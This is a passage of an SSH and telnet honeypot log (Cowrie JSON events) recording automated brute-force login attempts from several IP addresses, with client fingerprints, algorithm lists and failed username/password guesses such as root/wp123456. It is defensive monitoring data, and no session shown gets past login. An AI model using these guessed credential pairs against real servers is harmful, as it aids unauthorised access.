nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:29:07.330431Z","src_ip":"159.203.92.129","session":"fb873e8c073d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"anderson","password":"123456","message":"login attempt [anderson/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:29:07.387531Z","src_ip":"159.203.92.129","session":"fb873e8c073d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:29:08.393967Z","src_ip":"159.203.92.129","session":"fb873e8c073d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":29.741752862930298,"message":"Connection lost after 29 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:29:09.060528Z","src_ip":"176.65.149.254","session":"c1e2a1dc58ab","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.86197471618652,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:29:20.572952Z","src_ip":"185.26.126.47","session":"a803cee3fb1e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.182","src_port":52680,"dst_ip":"10.17.0.5","dst_port":22,"session":"df62fba1d2d8","protocol":"ssh","message":"New connection: 80.94.92.182:52680 (10.17.0.5:22) [session: df62fba1d2d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:29:33.235601Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:29:33.339468Z","src_ip":"80.94.92.182","session":"df62fba1d2d8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.68092942237854,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:29:34.688690Z","src_ip":"185.26.126.47","session":"d55745c5e490","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.180.212.135","src_port":48908,"dst_ip":"159.203.135.109","dst_port":22,"session":"1cfe0a39530c","protocol":"ssh","message":"New connection: 103.180.212.135:48908 (159.203.135.109:22) [session: 1cfe0a39530c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:29:35.876022Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:29:35.881014Z","src_ip":"103.180.212.135","session":"1cfe0a39530c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:29:36.077842Z","src_ip":"103.180.212.135","session":"1cfe0a39530c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"!qaz2wsx","message":"login attempt [test/!qaz2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:29:36.895055Z","src_ip":"103.180.212.135","session":"1cfe0a39530c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.5.173","src_port":58704,"dst_ip":"10.17.0.5","dst_port":22,"session":"bd00bb30efb3","protocol":"ssh","message":"New connection: 165.154.5.173:58704 (10.17.0.5:22) [session: bd00bb30efb3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:29:37.215728Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:29:37.221806Z","src_ip":"165.154.5.173","session":"bd00bb30efb3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:29:37.436511Z","src_ip":"165.154.5.173","session":"bd00bb30efb3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:29:38.101601Z","src_ip":"103.180.212.135","session":"1cfe0a39530c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Admin","message":"login attempt [ubuntu/Admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:29:38.323366Z","src_ip":"165.154.5.173","session":"bd00bb30efb3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:29:39.539268Z","src_ip":"165.154.5.173","session":"bd00bb30efb3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":57776,"dst_ip":"159.203.135.109","dst_port":22,"session":"a4ccde3594b7","protocol":"ssh","message":"New connection: 159.203.92.129:57776 (159.203.135.109:22) [session: a4ccde3594b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:29:51.650630Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:29:51.656495Z","src_ip":"159.203.92.129","session":"a4ccde3594b7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:29:51.661704Z","src_ip":"159.203.92.129","session":"a4ccde3594b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"anderson","password":"anderson","message":"login attempt [anderson/anderson] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:29:51.715887Z","src_ip":"159.203.92.129","session":"a4ccde3594b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:29:52.721749Z","src_ip":"159.203.92.129","session":"a4ccde3594b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.5.173","src_port":48404,"dst_ip":"10.17.0.5","dst_port":22,"session":"16bebb0ce34f","protocol":"ssh","message":"New connection: 165.154.5.173:48404 (10.17.0.5:22) [session: 16bebb0ce34f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:30:32.310446Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:30:32.315024Z","src_ip":"165.154.5.173","session":"16bebb0ce34f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:30:32.530600Z","src_ip":"165.154.5.173","session":"16bebb0ce34f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"wp123456","message":"login attempt [root/wp123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:30:33.425365Z","src_ip":"165.154.5.173","session":"16bebb0ce34f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:30:34.643665Z","src_ip":"165.154.5.173","session":"16bebb0ce34f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.180.212.135","src_port":33268,"dst_ip":"159.203.135.109","dst_port":22,"session":"76ff00a6a52f","protocol":"ssh","message":"New connection: 103.180.212.135:33268 (159.203.135.109:22) [session: 76ff00a6a52f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:30:36.934821Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:30:36.939839Z","src_ip":"103.180.212.135","session":"76ff00a6a52f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:30:37.137193Z","src_ip":"103.180.212.135","session":"76ff00a6a52f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":60772,"dst_ip":"159.203.135.109","dst_port":22,"session":"ca708d7423c3","protocol":"ssh","message":"New connection: 159.203.92.129:60772 (159.203.135.109:22) [session: ca708d7423c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:30:37.530843Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:30:37.537803Z","src_ip":"159.203.92.129","session":"ca708d7423c3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:30:37.543448Z","src_ip":"159.203.92.129","session":"ca708d7423c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"andi","password":"andi","message":"login attempt [andi/andi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:30:37.559626Z","src_ip":"159.203.92.129","session":"ca708d7423c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"reza","message":"login attempt [root/reza] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:30:37.960644Z","src_ip":"103.180.212.135","session":"76ff00a6a52f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:30:38.567286Z","src_ip":"159.203.92.129","session":"ca708d7423c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:30:39.160321Z","src_ip":"103.180.212.135","session":"76ff00a6a52f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":38276,"dst_ip":"159.203.135.109","dst_port":22,"session":"44b8109e34ee","protocol":"ssh","message":"New connection: 159.203.92.129:38276 (159.203.135.109:22) [session: 44b8109e34ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:31:23.186263Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:31:23.191152Z","src_ip":"159.203.92.129","session":"44b8109e34ee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:31:23.201715Z","src_ip":"159.203.92.129","session":"44b8109e34ee","protocol":"ssh"}
